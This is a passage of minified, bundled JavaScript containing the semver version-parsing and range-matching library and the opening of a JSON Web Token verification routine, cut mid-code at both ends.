$I(A,this.options);if(this.prerelease.length&&!A.prerelease.length)return-1;else if(!this.prerelease.length&&A.prerelease.length)return 1;else if(!this.prerelease.length&&!A.prerelease.length)return 0;let K=0;do{let q=this.prerelease[K],Y=A.prerelease[K];if($J1("prerelease compare",K,q,Y),q===void 0&&Y===void 0)return 0;else if(Y===void 0)return 1;else if(q===void 0)return-1;else if(q===Y)continue;else return WGA(q,Y)}while(++K)}compareBuild(A){if(!(A instanceof $I))A=new $I(A,this.options);let K=0;do{let q=this.build[K],Y=A.build[K];if($J1("build compare",K,q,Y),q===void 0&&Y===void 0)return 0;else if(Y===void 0)return 1;else if(q===void 0)return-1;else if(q===Y)continue;else return WGA(q,Y)}while(++K)}inc(A,K,q){if(A.startsWith("pre")){if(!K&&q===!1)throw Error("invalid increment argument: identifier is empty");if(K){let Y=new RegExp(`^${this.options.loose?z47[GJ1.PRERELEASELOOSE]:z47[GJ1.PRERELEASE]}$`),z=`-${K}`.match(Y);if(!z||z[1]!==K)throw Error(`invalid identifier: ${K}`)}}switch(A){case"premajor":this.prerelease.length=0,this.patch=0,this.minor=0,this.major++,this.inc("pre",K,q);break;case"preminor":this.prerelease.length=0,this.patch=0,this.minor++,this.inc("pre",K,q);break;case"prepatch":this.prerelease.length=0,this.inc("patch",K,q),this.inc("pre",K,q);break;case"prerelease":if(this.prerelease.length===0)this.inc("patch",K,q);this.inc("pre",K,q);break;case"release":if(this.prerelease.length===0)throw Error(`version ${this.raw} is not a prerelease`);this.prerelease.length=0;break;case"major":if(this.minor!==0||this.patch!==0||this.prerelease.length===0)this.major++;this.minor=0,this.patch=0,this.prerelease=[];break;case"minor":if(this.patch!==0||this.prerelease.length===0)this.minor++;this.patch=0,this.prerelease=[];break;case"patch":if(this.prerelease.length===0)this.patch++;this.prerelease=[];break;case"pre":{let Y=Number(q)?1:0;if(this.prerelease.length===0)this.prerelease=[Y];else{let z=this.prerelease.length;while(--z>=0)if(typeof this.prerelease[z]==="number")this.prerelease[z]++,z=-2;if(z===-1){if(K===this.prerelease.join(".")&&q===!1)throw Error("invalid increment argument: identifier already exists");this.prerelease.push(Y)}}if(K){let z=[K,Y];if(q===!1)z=[K];if(WGA(this.prerelease[0],K)===0){if(isNaN(this.prerelease[1]))this.prerelease=z}else this.prerelease=z}break}default:throw Error(`invalid increment argument: ${A}`)}if(this.raw=this.format(),this.build.length)this.raw+=`+${this.build.join(".")}`;return this}}w47.exports=$I});var bKA=v((vmw,J47)=>{var H47=QD(),vKY=(A,K,q=!1)=>{if(A instanceof H47)return A;try{return new H47(A,K)}catch(Y){if(!q)return null;throw Y}};J47.exports=vKY});var X47=v((Emw,O47)=>{var EKY=bKA(),kKY=(A,K)=>{let q=EKY(A,K);return q?q.version:null};O47.exports=kKY});var _47=v((kmw,$47)=>{var CKY=bKA(),LKY=(A,K)=>{let q=CKY(A.trim().replace(/^[=v]+/,""),K);return q?q.version:null};$47.exports=LKY});var W47=v((Cmw,Z47)=>{var G47=QD(),RKY=(A,K,q,Y,z)=>{if(typeof q==="string")z=Y,Y=q,q=void 0;try{return new G47(A instanceof G47?A.version:A,q).inc(K,Y,z).version}catch(w){return null}};Z47.exports=RKY});var M47=v((Lmw,j47)=>{var D47=bKA(),yKY=(A,K)=>{let q=D47(A,null,!0),Y=D47(K,null,!0),z=q.compare(Y);if(z===0)return null;let w=z>0,H=w?q:Y,J=w?Y:q,O=!!H.prerelease.length;if(!!J.prerelease.length&&!O){if(!J.patch&&!J.minor)return"major";if(J.compareMain(H)===0){if(J.minor&&!J.patch)return"minor";return"patch"}}let $=O?"pre":"";if(q.major!==Y.major)return $+"major";if(q.minor!==Y.minor)return $+"minor";if(q.patch!==Y.patch)return $+"patch";return"prerelease"};j47.exports=yKY});var V47=v((Rmw,P47)=>{var IKY=QD(),SKY=(A,K)=>new IKY(A,K).major;P47.exports=SKY});var N47=v((ymw,f47)=>{var hKY=QD(),bKY=(A,K)=>new hKY(A,K).minor;f47.exports=bKY});var v47=v((Imw,T47)=>{var xKY=QD(),uKY=(A,K)=>new xKY(A,K).patch;T47.exports=uKY});var k47=v((Smw,E47)=>{var BKY=bKA(),mKY=(A,K)=>{let q=BKY(A,K);return q&&q.prerelease.length?q.prerelease:null};E47.exports=mKY});var fC=v((hmw,L47)=>{var C47=QD(),gKY=(A,K,q)=>new C47(A,q).compare(new C47(K,q));L47.exports=gKY});var y47=v((bmw,R47)=>{var FKY=fC(),QKY=(A,K,q)=>FKY(K,A,q);R47.exports=QKY});var S47=v((xmw,I47)=>{var UKY=fC(),pKY=(A,K)=>UKY(A,K,!0);I47.exports=pKY});var ZJ1=v((umw,b47)=>{var h47=QD(),dKY=(A,K,q)=>{let Y=new h47(A,q),z=new h47(K,q);return Y.compare(z)||Y.compareBuild(z)};b47.exports=dKY});var u47=v((Bmw,x47)=>{var cKY=ZJ1(),lKY=(A,K)=>A.sort((q,Y)=>cKY(q,Y,K));x47.exports=lKY});var m47=v((mmw,B47)=>{var iKY=ZJ1(),nKY=(A,K)=>A.sort((q,Y)=>iKY(Y,q,K));B47.exports=nKY});var _xA=v((gmw,g47)=>{var rKY=fC(),oKY=(A,K,q)=>rKY(A,K,q)>0;g47.exports=oKY});var WJ1=v((Fmw,F47)=>{var aKY=fC(),sKY=(A,K,q)=>aKY(A,K,q)<0;F47.exports=sKY});var $$6=v((Qmw,Q47)=>{var tKY=fC(),eKY=(A,K,q)=>tKY(A,K,q)===0;Q47.exports=eKY});var _$6=v((Umw,U47)=>{var AqY=fC(),KqY=(A,K,q)=>AqY(A,K,q)!==0;U47.exports=KqY});var DJ1=v((pmw,p47)=>{var qqY=fC(),YqY=(A,K,q)=>qqY(A,K,q)>=0;p47.exports=YqY});var jJ1=v((dmw,d47)=>{var zqY=fC(),wqY=(A,K,q)=>zqY(A,K,q)<=0;d47.exports=wqY});var G$6=v((cmw,c47)=>{var HqY=$$6(),JqY=_$6(),OqY=_xA(),XqY=DJ1(),$qY=WJ1(),_qY=jJ1(),GqY=(A,K,q,Y)=>{switch(K){case"===":if(typeof A==="object")A=A.version;if(typeof q==="object")q=q.version;return A===q;case"!==":if(typeof A==="object")A=A.version;if(typeof q==="object")q=q.version;return A!==q;case"":case"=":case"==":return HqY(A,q,Y);case"!=":return JqY(A,q,Y);case">":return OqY(A,q,Y);case">=":return XqY(A,q,Y);case"<":return $qY(A,q,Y);case"<=":return _qY(A,q,Y);default:throw TypeError(`Invalid operator: ${K}`)}};c47.exports=GqY});var i47=v((lmw,l47)=>{var ZqY=QD(),WqY=bKA(),{safeRe:MJ1,t:PJ1}=ZGA(),DqY=(A,K)=>{if(A instanceof ZqY)return A;if(typeof A==="number")A=String(A);if(typeof A!=="string")return null;K=K||{};let q=null;if(!K.rtl)q=A.match(K.includePrerelease?MJ1[PJ1.COERCEFULL]:MJ1[PJ1.COERCE]);else{let O=K.includePrerelease?MJ1[PJ1.COERCERTLFULL]:MJ1[PJ1.COERCERTL],X;while((X=O.exec(A))&&(!q||q.index+q[0].length!==A.length)){if(!q||X.index+X[0].length!==q.index+q[0].length)q=X;O.lastIndex=X.index+X[1].length+X[2].length}O.lastIndex=-1}if(q===null)return null;let Y=q[2],z=q[3]||"0",w=q[4]||"0",H=K.includePrerelease&&q[5]?`-${q[5]}`:"",J=K.includePrerelease&&q[6]?`+${q[6]}`:"";return WqY(`${Y}.${z}.${w}${H}${J}`,K)};l47.exports=DqY});var o47=v((imw,r47)=>{class n47{constructor(){this.max=1000,this.map=new Map}get(A){let K=this.map.get(A);if(K===void 0)return;else return this.map.delete(A),this.map.set(A,K),K}delete(A){return this.map.delete(A)}set(A,K){if(!this.delete(A)&&K!==void 0){if(this.map.size>=this.max){let Y=this.map.keys().next().value;this.delete(Y)}this.map.set(A,K)}return this}}r47.exports=n47});var NC=v((nmw,e47)=>{var jqY=/\s+/g;class GxA{constructor(A,K){if(K=PqY(K),A instanceof GxA)if(A.loose===!!K.loose&&A.includePrerelease===!!K.includePrerelease)return A;else return new GxA(A.raw,K);if(A instanceof Z$6)return this.raw=A.value,this.set=[[A]],this.formatted=void 0,this;if(this.options=K,this.loose=!!K.loose,this.includePrerelease=!!K.includePrerelease,this.raw=A.trim().replace(jqY," "),this.set=this.raw.split("||").map((q)=>this.parseRange(q.trim())).filter((q)=>q.length),!this.set.length)throw TypeError(`Invalid SemVer Range: ${this.raw}`);if(this.set.length>1){let q=this.set[0];if(this.set=this.set.filter((Y)=>!s47(Y[0])),this.set.length===0)this.set=[q];else if(this.set.length>1){for(let Y of this.set)if(Y.length===1&&kqY(Y[0])){this.set=[Y];break}}}this.formatted=void 0}get range(){if(this.formatted===void 0){this.formatted="";for(let A=0;A<this.set.length;A++){if(A>0)this.formatted+="||";let K=this.set[A];for(let q=0;q<K.length;q++){if(q>0)this.formatted+=" ";this.formatted+=K[q].toString().trim()}}}return this.formatted}format(){return this.range}toString(){return this.range}parseRange(A){let q=((this.options.includePrerelease&&vqY)|(this.options.loose&&EqY))+":"+A,Y=a47.get(q);if(Y)return Y;let z=this.options.loose,w=z?Af[SM.HYPHENRANGELOOSE]:Af[SM.HYPHENRANGE];A=A.replace(w,uqY(this.options.includePrerelease)),pH("hyphen replace",A),A=A.replace(Af[SM.COMPARATORTRIM],fqY),pH("comparator trim",A),A=A.replace(Af[SM.TILDETRIM],NqY),pH("tilde trim",A),A=A.replace(Af[SM.CARETTRIM],TqY),pH("caret trim",A);let H=A.split(" ").map(($)=>CqY($,this.options)).join(" ").split(/\s+/).map(($)=>xqY($,this.options));if(z)H=H.filter(($)=>{return pH("loose invalid filter",$,this.options),!!$.match(Af[SM.COMPARATORLOOSE])});pH("range list",H);let J=new Map,O=H.map(($)=>new Z$6($,this.options));for(let $ of O){if(s47($))return[$];J.set($.value,$)}if(J.size>1&&J.has(""))J.delete("");let X=[...J.values()];return a47.set(q,X),X}intersects(A,K){if(!(A instanceof GxA))throw TypeError("a Range is required");return this.set.some((q)=>{return t47(q,K)&&A.set.some((Y)=>{return t47(Y,K)&&q.every((z)=>{return Y.every((w)=>{return z.intersects(w,K)})})})})}test(A){if(!A)return!1;if(typeof A==="string")try{A=new VqY(A,this.options)}catch(K){return!1}for(let K=0;K<this.set.length;K++)if(BqY(this.set[K],A,this.options))return!0;return!1}}e47.exports=GxA;var MqY=o47(),a47=new MqY,PqY=XJ1(),Z$6=ZxA(),pH=$xA(),VqY=QD(),{safeRe:Af,t:SM,comparatorTrimReplace:fqY,tildeTrimReplace:NqY,caretTrimReplace:TqY}=ZGA(),{FLAG_INCLUDE_PRERELEASE:vqY,FLAG_LOOSE:EqY}=XxA(),s47=(A)=>A.value==="<0.0.0-0",kqY=(A)=>A.value==="",t47=(A,K)=>{let q=!0,Y=A.slice(),z=Y.pop();while(q&&Y.length)q=Y.every((w)=>{return z.intersects(w,K)}),z=Y.pop();return q},CqY=(A,K)=>{return pH("comp",A,K),A=yqY(A,K),pH("caret",A),A=LqY(A,K),pH("tildes",A),A=SqY(A,K),pH("xrange",A),A=bqY(A,K),pH("stars",A),A},hM=(A)=>!A||A.toLowerCase()==="x"||A==="*",LqY=(A,K)=>{return A.trim().split(/\s+/).map((q)=>RqY(q,K)).join(" ")},RqY=(A,K)=>{let q=K.loose?Af[SM.TILDELOOSE]:Af[SM.TILDE];return A.replace(q,(Y,z,w,H,J)=>{pH("tilde",A,Y,z,w,H,J);let O;if(hM(z))O="";else if(hM(w))O=`>=${z}.0.0 <${+z+1}.0.0-0`;else if(hM(H))O=`>=${z}.${w}.0 <${z}.${+w+1}.0-0`;else if(J)pH("replaceTilde pr",J),O=`>=${z}.${w}.${H}-${J} <${z}.${+w+1}.0-0`;else O=`>=${z}.${w}.${H} <${z}.${+w+1}.0-0`;return pH("tilde return",O),O})},yqY=(A,K)=>{return A.trim().split(/\s+/).map((q)=>IqY(q,K)).join(" ")},IqY=(A,K)=>{pH("caret",A,K);let q=K.loose?Af[SM.CARETLOOSE]:Af[SM.CARET],Y=K.includePrerelease?"-0":"";return A.replace(q,(z,w,H,J,O)=>{pH("caret",A,z,w,H,J,O);let X;if(hM(w))X="";else if(hM(H))X=`>=${w}.0.0${Y} <${+w+1}.0.0-0`;else if(hM(J))if(w==="0")X=`>=${w}.${H}.0${Y} <${w}.${+H+1}.0-0`;else X=`>=${w}.${H}.0${Y} <${+w+1}.0.0-0`;else if(O)if(pH("replaceCaret pr",O),w==="0")if(H==="0")X=`>=${w}.${H}.${J}-${O} <${w}.${H}.${+J+1}-0`;else X=`>=${w}.${H}.${J}-${O} <${w}.${+H+1}.0-0`;else X=`>=${w}.${H}.${J}-${O} <${+w+1}.0.0-0`;else if(pH("no pr"),w==="0")if(H==="0")X=`>=${w}.${H}.${J}${Y} <${w}.${H}.${+J+1}-0`;else X=`>=${w}.${H}.${J}${Y} <${w}.${+H+1}.0-0`;else X=`>=${w}.${H}.${J} <${+w+1}.0.0-0`;return pH("caret return",X),X})},SqY=(A,K)=>{return pH("replaceXRanges",A,K),A.split(/\s+/).map((q)=>hqY(q,K)).join(" ")},hqY=(A,K)=>{A=A.trim();let q=K.loose?Af[SM.XRANGELOOSE]:Af[SM.XRANGE];return A.replace(q,(Y,z,w,H,J,O)=>{pH("xRange",A,Y,z,w,H,J,O);let X=hM(w),$=X||hM(H),_=$||hM(J),G=_;if(z==="="&&G)z="";if(O=K.includePrerelease?"-0":"",X)if(z===">"||z==="<")Y="<0.0.0-0";else Y="*";else if(z&&G){if($)H=0;if(J=0,z===">")if(z=">=",$)w=+w+1,H=0,J=0;else H=+H+1,J=0;else if(z==="<=")if(z="<",$)w=+w+1;else H=+H+1;if(z==="<")O="-0";Y=`${z+w}.${H}.${J}${O}`}else if($)Y=`>=${w}.0.0${O} <${+w+1}.0.0-0`;else if(_)Y=`>=${w}.${H}.0${O} <${w}.${+H+1}.0-0`;return pH("xRange return",Y),Y})},bqY=(A,K)=>{return pH("replaceStars",A,K),A.trim().replace(Af[SM.STAR],"")},xqY=(A,K)=>{return pH("replaceGTE0",A,K),A.trim().replace(Af[K.includePrerelease?SM.GTE0PRE:SM.GTE0],"")},uqY=(A)=>(K,q,Y,z,w,H,J,O,X,$,_,G)=>{if(hM(Y))q="";else if(hM(z))q=`>=${Y}.0.0${A?"-0":""}`;else if(hM(w))q=`>=${Y}.${z}.0${A?"-0":""}`;else if(H)q=`>=${q}`;else q=`>=${q}${A?"-0":""}`;if(hM(X))O="";else if(hM($))O=`<${+X+1}.0.0-0`;else if(hM(_))O=`<${X}.${+$+1}.0-0`;else if(G)O=`<=${X}.${$}.${_}-${G}`;else if(A)O=`<${X}.${$}.${+_+1}-0`;else O=`<=${O}`;return`${q} ${O}`.trim()},BqY=(A,K,q)=>{for(let Y=0;Y<A.length;Y++)if(!A[Y].test(K))return!1;if(K.prerelease.length&&!q.includePrerelease){for(let Y=0;Y<A.length;Y++){if(pH(A[Y].semver),A[Y].semver===Z$6.ANY)continue;if(A[Y].semver.prerelease.length>0){let z=A[Y].semver;if(z.major===K.major&&z.minor===K.minor&&z.patch===K.patch)return!0}}return!1}return!0}});var ZxA=v((rmw,w77)=>{var WxA=Symbol("SemVer ANY");class VJ1{static get ANY(){return WxA}constructor(A,K){if(K=A77(K),A instanceof VJ1)if(A.loose===!!K.loose)return A;else A=A.value;if(A=A.trim().split(/\s+/).join(" "),D$6("comparator",A,K),this.options=K,this.loose=!!K.loose,this.parse(A),this.semver===WxA)this.value="";else this.value=this.operator+this.semver.version;D$6("comp",this)}parse(A){let K=this.options.loose?K77[q77.COMPARATORLOOSE]:K77[q77.COMPARATOR],q=A.match(K);if(!q)throw TypeError(`Invalid comparator: ${A}`);if(this.operator=q[1]!==void 0?q[1]:"",this.operator==="=")this.operator="";if(!q[2])this.semver=WxA;else this.semver=new Y77(q[2],this.options.loose)}toString(){return this.value}test(A){if(D$6("Comparator.test",A,this.options.loose),this.semver===WxA||A===WxA)return!0;if(typeof A==="string")try{A=new Y77(A,this.options)}catch(K){return!1}return W$6(A,this.operator,this.semver,this.options)}intersects(A,K){if(!(A instanceof VJ1))throw TypeError("a Comparator is required");if(this.operator===""){if(this.value==="")return!0;return new z77(A.value,K).test(this.value)}else if(A.operator===""){if(A.value==="")return!0;return new z77(this.value,K).test(A.semver)}if(K=A77(K),K.includePrerelease&&(this.value==="<0.0.0-0"||A.value==="<0.0.0-0"))return!1;if(!K.includePrerelease&&(this.value.startsWith("<0.0.0")||A.value.startsWith("<0.0.0")))return!1;if(this.operator.startsWith(">")&&A.operator.startsWith(">"))return!0;if(this.operator.startsWith("<")&&A.operator.startsWith("<"))return!0;if(this.semver.version===A.semver.version&&this.operator.includes("=")&&A.operator.includes("="))return!0;if(W$6(this.semver,"<",A.semver,K)&&this.operator.startsWith(">")&&A.operator.startsWith("<"))return!0;if(W$6(this.semver,">",A.semver,K)&&this.operator.startsWith("<")&&A.operator.startsWith(">"))return!0;return!1}}w77.exports=VJ1;var A77=XJ1(),{safeRe:K77,t:q77}=ZGA(),W$6=G$6(),D$6=$xA(),Y77=QD(),z77=NC()});var DxA=v((omw,H77)=>{var mqY=NC(),gqY=(A,K,q)=>{try{K=new mqY(K,q)}catch(Y){return!1}return K.test(A)};H77.exports=gqY});var O77=v((amw,J77)=>{var FqY=NC(),QqY=(A,K)=>new FqY(A,K).set.map((q)=>q.map((Y)=>Y.value).join(" ").trim().split(" "));J77.exports=QqY});var $77=v((smw,X77)=>{var UqY=QD(),pqY=NC(),dqY=(A,K,q)=>{let Y=null,z=null,w=null;try{w=new pqY(K,q)}catch(H){return null}return A.forEach((H)=>{if(w.test(H)){if(!Y||z.compare(H)===-1)Y=H,z=new UqY(Y,q)}}),Y};X77.exports=dqY});var G77=v((tmw,_77)=>{var cqY=QD(),lqY=NC(),iqY=(A,K,q)=>{let Y=null,z=null,w=null;try{w=new lqY(K,q)}catch(H){return null}return A.forEach((H)=>{if(w.test(H)){if(!Y||z.compare(H)===1)Y=H,z=new cqY(Y,q)}}),Y};_77.exports=iqY});var D77=v((emw,W77)=>{var j$6=QD(),nqY=NC(),Z77=_xA(),rqY=(A,K)=>{A=new nqY(A,K);let q=new j$6("0.0.0");if(A.test(q))return q;if(q=new j$6("0.0.0-0"),A.test(q))return q;q=null;for(let Y=0;Y<A.set.length;++Y){let z=A.set[Y],w=null;if(z.forEach((H)=>{let J=new j$6(H.semver.version);switch(H.operator){case">":if(J.prerelease.length===0)J.patch++;else J.prerelease.push(0);J.raw=J.format();case"":case">=":if(!w||Z77(J,w))w=J;break;case"<":case"<=":break;default:throw Error(`Unexpected operation: ${H.operator}`)}}),w&&(!q||Z77(q,w)))q=w}if(q&&A.test(q))return q;return null};W77.exports=rqY});var M77=v((Agw,j77)=>{var oqY=NC(),aqY=(A,K)=>{try{return new oqY(A,K).range||"*"}catch(q){return null}};j77.exports=aqY});var fJ1=v((Kgw,N77)=>{var sqY=QD(),f77=ZxA(),{ANY:tqY}=f77,eqY=NC(),A5Y=DxA(),P77=_xA(),V77=WJ1(),K5Y=jJ1(),q5Y=DJ1(),Y5Y=(A,K,q,Y)=>{A=new sqY(A,Y),K=new eqY(K,Y);let z,w,H,J,O;switch(q){case">":z=P77,w=K5Y,H=V77,J=">",O=">=";break;case"<":z=V77,w=q5Y,H=P77,J="<",O="<=";break;default:throw TypeError('Must provide a hilo val of "<" or ">"')}if(A5Y(A,K,Y))return!1;for(let X=0;X<K.set.length;++X){let $=K.set[X],_=null,G=null;if($.forEach((Z)=>{if(Z.semver===tqY)Z=new f77(">=0.0.0");if(_=_||Z,G=G||Z,z(Z.semver,_.semver,Y))_=Z;else if(H(Z.semver,G.semver,Y))G=Z}),_.operator===J||_.operator===O)return!1;if((!G.operator||G.operator===J)&&w(A,G.semver))return!1;else if(G.operator===O&&H(A,G.semver))return!1}return!0};N77.exports=Y5Y});var v77=v((qgw,T77)=>{var z5Y=fJ1(),w5Y=(A,K,q)=>z5Y(A,K,">",q);T77.exports=w5Y});var k77=v((Ygw,E77)=>{var H5Y=fJ1(),J5Y=(A,K,q)=>H5Y(A,K,"<",q);E77.exports=J5Y});var R77=v((zgw,L77)=>{var C77=NC(),O5Y=(A,K,q)=>{return A=new C77(A,q),K=new C77(K,q),A.intersects(K,q)};L77.exports=O5Y});var I77=v((wgw,y77)=>{var X5Y=DxA(),$5Y=fC();y77.exports=(A,K,q)=>{let Y=[],z=null,w=null,H=A.sort(($,_)=>$5Y($,_,q));for(let $ of H)if(X5Y($,K,q)){if(w=$,!z)z=$}else{if(w)Y.push([z,w]);w=null,z=null}if(z)Y.push([z,null]);let J=[];for(let[$,_]of Y)if($===_)J.push($);else if(!_&&$===H[0])J.push("*");else if(!_)J.push(`>=${$}`);else if($===H[0])J.push(`<=${_}`);else J.push(`${$} - ${_}`);let O=J.join(" || "),X=typeof K.raw==="string"?K.raw:String(K);return O.length<X.length?O:K}});var B77=v((Hgw,u77)=>{var S77=NC(),P$6=ZxA(),{ANY:M$6}=P$6,jxA=DxA(),V$6=fC(),_5Y=(A,K,q={})=>{if(A===K)return!0;A=new S77(A,q),K=new S77(K,q);let Y=!1;A:for(let z of A.set){for(let w of K.set){let H=Z5Y(z,w,q);if(Y=Y||H!==null,H)continue A}if(Y)return!1}return!0},G5Y=[new P$6(">=0.0.0-0")],h77=[new P$6(">=0.0.0")],Z5Y=(A,K,q)=>{if(A===K)return!0;if(A.length===1&&A[0].semver===M$6)if(K.length===1&&K[0].semver===M$6)return!0;else if(q.includePrerelease)A=G5Y;else A=h77;if(K.length===1&&K[0].semver===M$6)if(q.includePrerelease)return!0;else K=h77;let Y=new Set,z,w;for(let Z of A)if(Z.operator===">"||Z.operator===">=")z=b77(z,Z,q);else if(Z.operator==="<"||Z.operator==="<=")w=x77(w,Z,q);else Y.add(Z.semver);if(Y.size>1)return null;let H;if(z&&w){if(H=V$6(z.semver,w.semver,q),H>0)return null;else if(H===0&&(z.operator!==">="||w.operator!=="<="))return null}for(let Z of Y){if(z&&!jxA(Z,String(z),q))return null;if(w&&!jxA(Z,String(w),q))return null;for(let W of K)if(!jxA(Z,String(W),q))return!1;return!0}let J,O,X,$,_=w&&!q.includePrerelease&&w.semver.prerelease.length?w.semver:!1,G=z&&!q.includePrerelease&&z.semver.prerelease.length?z.semver:!1;if(_&&_.prerelease.length===1&&w.operator==="<"&&_.prerelease[0]===0)_=!1;for(let Z of K){if($=$||Z.operator===">"||Z.operator===">=",X=X||Z.operator==="<"||Z.operator==="<=",z){if(G){if(Z.semver.prerelease&&Z.semver.prerelease.length&&Z.semver.major===G.major&&Z.semver.minor===G.minor&&Z.semver.patch===G.patch)G=!1}if(Z.operator===">"||Z.operator===">="){if(J=b77(z,Z,q),J===Z&&J!==z)return!1}else if(z.operator===">="&&!jxA(z.semver,String(Z),q))return!1}if(w){if(_){if(Z.semver.prerelease&&Z.semver.prerelease.length&&Z.semver.major===_.major&&Z.semver.minor===_.minor&&Z.semver.patch===_.patch)_=!1}if(Z.operator==="<"||Z.operator==="<="){if(O=x77(w,Z,q),O===Z&&O!==w)return!1}else if(w.operator==="<="&&!jxA(w.semver,String(Z),q))return!1}if(!Z.operator&&(w||z)&&H!==0)return!1}if(z&&X&&!w&&H!==0)return!1;if(w&&$&&!z&&H!==0)return!1;if(G||_)return!1;return!0},b77=(A,K,q)=>{if(!A)return K;let Y=V$6(A.semver,K.semver,q);return Y>0?A:Y<0?K:K.operator===">"&&A.operator===">="?K:A},x77=(A,K,q)=>{if(!A)return K;let Y=V$6(A.semver,K.semver,q);return Y<0?A:Y>0?K:K.operator==="<"&&A.operator==="<="?K:A};u77.exports=_5Y});var NJ1=v((Jgw,F77)=>{var f$6=ZGA(),m77=XxA(),W5Y=QD(),g77=X$6(),D5Y=bKA(),j5Y=X47(),M5Y=_47(),P5Y=W47(),V5Y=M47(),f5Y=V47(),N5Y=N47(),T5Y=v47(),v5Y=k47(),E5Y=fC(),k5Y=y47(),C5Y=S47(),L5Y=ZJ1(),R5Y=u47(),y5Y=m47(),I5Y=_xA(),S5Y=WJ1(),h5Y=$$6(),b5Y=_$6(),x5Y=DJ1(),u5Y=jJ1(),B5Y=G$6(),m5Y=i47(),g5Y=ZxA(),F5Y=NC(),Q5Y=DxA(),U5Y=O77(),p5Y=$77(),d5Y=G77(),c5Y=D77(),l5Y=M77(),i5Y=fJ1(),n5Y=v77(),r5Y=k77(),o5Y=R77(),a5Y=I77(),s5Y=B77();F77.exports={parse:D5Y,valid:j5Y,clean:M5Y,inc:P5Y,diff:V5Y,major:f5Y,minor:N5Y,patch:T5Y,prerelease:v5Y,compare:E5Y,rcompare:k5Y,compareLoose:C5Y,compareBuild:L5Y,sort:R5Y,rsort:y5Y,gt:I5Y,lt:S5Y,eq:h5Y,neq:b5Y,gte:x5Y,lte:u5Y,cmp:B5Y,coerce:m5Y,Comparator:g5Y,Range:F5Y,satisfies:Q5Y,toComparators:U5Y,maxSatisfying:p5Y,minSatisfying:d5Y,minVersion:c5Y,validRange:l5Y,outside:i5Y,gtr:n5Y,ltr:r5Y,intersects:o5Y,simplifyRange:a5Y,subset:s5Y,SemVer:W5Y,re:f$6.re,src:f$6.src,tokens:f$6.t,SEMVER_SPEC_VERSION:m77.SEMVER_SPEC_VERSION,RELEASE_TYPES:m77.RELEASE_TYPES,compareIdentifiers:g77.compareIdentifiers,rcompareIdentifiers:g77.rcompareIdentifiers}});var U77=v((Ogw,Q77)=>{var t5Y=NJ1();Q77.exports=t5Y.satisfies(process.version,">=15.7.0")});var d77=v((Xgw,p77)=>{var e5Y=NJ1();p77.exports=e5Y.satisfies(process.version,">=16.9.0")});var N$6=v(($gw,c77)=>{var A3Y=U77(),K3Y=d77(),q3Y={ec:["ES256","ES384","ES512"],rsa:["RS256","PS256","RS384","PS384","RS512","PS512"],"rsa-pss":["PS256","PS384","PS512"]},Y3Y={ES256:"prime256v1",ES384:"secp384r1",ES512:"secp521r1"};c77.exports=function(A,K){if(!A||!K)return;let q=K.asymmetricKeyType;if(!q)return;let Y=q3Y[q];if(!Y)throw Error(`Unknown key type "${q}".`);if(!Y.includes(A))throw Error(`"alg" parameter for "${q}" key type must be one of: ${Y.join(", ")}.`);if(A3Y)switch(q){case"ec":let z=K.asymmetricKeyDetails.namedCurve,w=Y3Y[A];if(z!==w)throw Error(`"alg" parameter "${A}" requires curve "${w}".`);break;case"rsa-pss":if(K3Y){let H=parseInt(A.slice(-3),10),{hashAlgorithm:J,mgf1HashAlgorithm:O,saltLength:X}=K.asymmetricKeyDetails;if(J!==`sha${H}`||O!==J)throw Error(`Invalid key for this operation, its RSA-PSS parameters do not meet the requirements of "alg" ${A}.`);if(X!==void 0&&X>H>>3)throw Error(`Invalid key for this operation, its RSA-PSS parameter saltLength does not meet the requirements of "alg" ${A}.`)}break}}});var T$6=v((_gw,l77)=>{var z3Y=NJ1();l77.exports=z3Y.satisfies(process.version,"^6.12.0 || >=8.0.0")});var r77=v((Ggw,n77)=>{var wH=OxA(),w3Y=z$6(),i77=w$6(),H3Y=Y$6(),J3Y=H$6(),O3Y=N$6(),X3Y=T$6(),$3Y=wJ1(),{KeyObject:_3Y,createSecretKey:G3Y,createPublicKey:Z3Y}=CA("crypto"),v$6=["RS256","RS384","RS512"],W3Y=["ES256","ES384","ES512"],E$6=["RS256","RS384","RS512"],D3Y=["HS256","HS384","HS512"];if(X3Y)v$6.splice(v$6.length,0,"PS256","PS384","PS512"),E$6.splice(E$6.length,0,"PS256","PS384","PS512");n77.exports=function(A,K,q,Y){if(typeof q==="function"&&!Y)Y=q,q={};if(!q)q={};q=Object.assign({},q);let z;if(Y)z=Y;else z=function($,_){if($)throw $;return _};if(q.clockTimestamp&&typeof q.clockTimestamp!=="number")return z(new wH("clockTimestamp must be a number"));if(q.nonce!==void 0&&(typeof q.nonce!=="string"||q.nonce.trim()===""))return z(new wH("nonce must be a non-empty string"));if(q.allowInvalidAsymmetricKeyTypes!==void 0&&typeof q.allowInvalidAsymmetricKeyTypes!=="boolean")return z(new wH("allowInvalidAsymmetricKeyTypes must be a boolean"));let w=q.clockTimestamp||Math.floor(Date.now()/1000);if(!A)return z(new wH("jwt must be provided"));if(typeof A!=="string")return z(new wH("jwt must be a string"));let H=A.split(".");if(H.length!==3)return z(new wH("jwt malformed"));let J;try{J=H3Y(A,{complete:!0})}catch($){return z($)}if(!J)return z(new wH("invalid token"));let O=J.header,X;if(typeof K==="function"){if(!Y)return z(new wH("verify must be called asynchronous if secret or public key is provided as a callback"));X=K}else X=function($,_){return _(null,K)};return X(O,function($,_){if($)return z(new wH("error in secret or public key callback: "+$.message));let G=H[2].trim()!=="";if(!G&&_)return z(new wH("jwt signature is required"));if(G&&!_)return z(new wH("secret or public key must be provided"));if(!G&&!q.algorithms)return z(new wH('please specify "none" in "algorithms" to verify unsigned tokens'));if(_!=null&&!(_ instanceof _3Y))try{_=Z3Y(_)}catch(D){try{_=G3Y(typeof _==="string"?Buffer.from(_):_)}catch(j){return z(new wH("secretOrPublicKey is not valid key material"))}}if(!q.algorithms)if(_.type==="secret")q.algorithms=D3Y;else if(["rsa","rsa-pss"].includes(_.asymmetricKeyType))q.algorithms=E$6;else if(_.asymmetricKeyType==="ec")q.algorithms=W3Y;else q.algorithms=v$6;if(q.algorithms.indexOf(J.header.alg)===-1)return z(new wH("invalid algorithm"));if(O.alg.startsWith("HS")&&_.type!=="secret")return z(new wH(`secretOrPublicKey must be a symmetric key when using ${O.alg}`));else if(/^(?:RS|PS|ES)/.test(O.alg)&&_.type!=="public")return z(new wH(`secretOrPublicKey must be an asymmetric key when using ${O.alg}`));if(!q.allowInvalidAsymmetricKeyTypes)try{O3Y(O.alg,_)}catch(D){return z(D)}let 